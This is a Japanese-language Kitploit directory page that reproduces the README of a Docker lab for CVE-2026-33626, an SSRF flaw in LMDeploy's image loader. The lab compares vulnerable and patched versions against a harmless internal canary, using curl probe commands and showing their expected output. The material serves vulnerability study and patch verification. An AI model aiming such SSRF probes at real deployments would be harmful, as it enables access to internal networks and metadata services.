Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33626-Lab | Kitploit
ツール/GitHubGitHub/rootdirective-sec/cve-2026-33626-lab
脆弱性分析ウェブセキュリティCTF学習と教育AIセキュリティラボと実践
GitHubrootdirective-sec/cve-2026-33626-lab

CVE-2026-33626-Lab

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33626 — LMDeploy Vision-Language SSRF ラボ

概要

このリポジトリは、LMDeploy の vision-language 画像ロード経路における Server-Side Request Forgery(SSRF)脆弱性である CVE-2026-33626 を再現します。

脆弱な動作は、LMDeploy が画像 URL を受け取り、サーバー側の画像ローダーが内部・プライベート・ループバック・リンクローカルアドレスを適切にブロックせずにその URL を取得したときに発生します。

このラボは以下を比較します:

ServiceVersionPurpose
vulnLMDeploy 0.12.0脆弱な動作を示します
patchedLMDeploy 0.12.3パッチ適用後の動作を示します
internalLocal canary serviceDocker ネットワーク内の内部専用リソースをシミュレートします

このラボは Docker Compose でローカルに実行するように設計されており、クラウドのメタデータエンドポイントや外部ターゲットには接続しません。


脆弱性の概要

LMDeploy は、ユーザーが指定した URL から画像をロードできる vision-language ワークフローをサポートしています。脆弱なバージョンでは、画像ロードコードが内部/プライベートネットワークアドレスに解決される URL を取得できてしまいます。

これにより、LMDeploy エンドポイントにアクセスできる攻撃者が、サーバーに内部リソースをリクエストさせることができる可能性があります。例:

  • 内部 HTTP サービス
  • メタデータエンドポイント
  • キャッシュ/データベースサービス
  • プライベート管理パネル
  • 推論サーバーのネットワークから到達可能なその他のサービス

このラボでは、内部ターゲットは意図的に無害なものにしています:

root@kitploit:~
http://internal:9000/private.png

この URL は Docker Compose ネットワーク内にのみ存在します。


ラボの設計

root@kitploit:~
PoC script
   |
   | sends image URL
   v
vuln / patched service
   |
   | calls lmdeploy.vl.load_image(url)
   v
internal canary service

このラボは完全な VLM 推論サーバーを実行しません。代わりに、脆弱な LMDeploy 画像ロードプリミティブを以下の呼び出しで切り出しています:

root@kitploit:~
from lmdeploy.vl import load_image
load_image(url)

これにより、再現を軽量かつ決定的に保ちながら、パッチ適用で修正されたセキュリティ動作を示すことができます。


リポジトリ構成

root@kitploit:~
.
├── docker-compose.yml
├── internal
│   ├── Dockerfile
│   └── server.py
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── vuln
│   └── Dockerfile
└── README.md

サービス

Docker ネットワーク内では、内部カナリアに以下のように到達できます:

root@kitploit:~
http://internal:9000/private.png

要件

  • Docker Desktop
  • Docker Compose v2
  • PoC スクリプト実行用の Python 3

Apple Silicon では、このラボで使用する LMDeploy wheel が x86_64 向けのため、vuln と patched サービスは linux/amd64 として実行されます。


ラボの実行

サービスをビルドして起動します:

root@kitploit:~
docker compose up -d --build

コンテナの状態を確認します:

root@kitploit:~
docker compose ps

期待される状態:

root@kitploit:~
cve-2026-33626-internal   Up
cve-2026-33626-vuln       Up (healthy)
cve-2026-33626-patched    Up (healthy)

バージョンの確認

root@kitploit:~
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq

期待される出力:

root@kitploit:~
{
  "lmdeploy_version": "0.12.0",
  "expected_role": "vulnerable"
}
root@kitploit:~
{
  "lmdeploy_version": "0.12.3",
  "expected_role": "patched"
}
root@kitploit:~
{
  "hits": []
}

PoC の実行

仮想環境を作成し、依存関係をインストールします:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

PoC を実行します:

root@kitploit:~
python poc/poc.py

デフォルトの SSRF ターゲットは以下です:

root@kitploit:~
http://internal:9000/private.png

このターゲットは Docker コンテナからは到達可能ですが、パブリックインターネットからは到達できません。


期待される結果

脆弱なサービス

脆弱なサービスは、内部カナリア画像の取得に成功するはずです:

root@kitploit:~
{
  "service": "vulnerable",
  "probe_http_status": 200,
  "probe_response": {
    "ok": true,
    "result": "lmdeploy.vl.load_image() fetched and decoded the URL",
    "lmdeploy_version": "0.12.0"
  },
  "internal_hit_count": 1
}

これにより、LMDeploy 0.12.0 が内部 Docker サービスに対してサーバーサイドリクエストを行ったことが確認できます。

パッチ適用済みサービス

パッチ適用済みサービスは、内部サービスに到達する前に同じ URL をブロックするはずです:

root@kitploit:~
{
  "service": "patched",
  "probe_http_status": 400,
  "probe_response": {
    "ok": false,
    "error_type": "ValueError",
    "error": "URL is blocked for security reasons: Blocked non-global IP detected",
    "lmdeploy_version": "0.12.3"
  },
  "internal_hit_count": 0
}

これにより、LMDeploy 0.12.3 が非グローバル/内部 IP アドレスに解決される URL をブロックすることが確認できます。

最終的な期待されるサマリー:

root@kitploit:~
[+] Expected result confirmed:
    vulnerable service fetched the internal canary
    patched service blocked before reaching the internal canary

手動テスト

内部カナリアをリセットします:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq

脆弱なサービスをテストします:

root@kitploit:~
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

期待される結果:/hits に 1 件のリクエストが記録されます。

パッチ適用済みサービスをテストします:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

期待される結果:/hits は空のままです。


これが SSRF を示す理由

PoC は攻撃者として内部サービスに直接リクエストを送るわけではありません。

代わりに、PoC は内部 URL を LMDeploy に送信します。LMDeploy がコンテナネットワーク内からその URL を取得すると、内部カナリアがリクエストを記録します。

この動作が SSRF プリミティブを証明します:

root@kitploit:~
attacker-controlled URL
        ↓
LMDeploy server-side image loader
        ↓
request to internal network resource

パッチ適用済みバージョンは、非グローバル IP アドレスに解決される URL を拒否することでこれを防ぎます。


クリーンアップ

root@kitploit:~
docker compose down -v

参考情報

  • GitHub Security Advisory: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq

  • NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626

  • パッチコミット: 71d64a339edb901e9005358e0633fbbab367d626 https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626

  • プルリクエスト: #4447 https://github.com/InternLM/lmdeploy/pull/4447

  • Sysdig 分析 https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours

ツールをダウンロード
ServiceHost URLContainer PortDescription
vulnhttp://127.0.0.1:80818000LMDeploy 0.12.0 ラッパー
patchedhttp://127.0.0.1:80828000LMDeploy 0.12.3 ラッパー
internalhttp://127.0.0.1:80909000内部カナリアサービス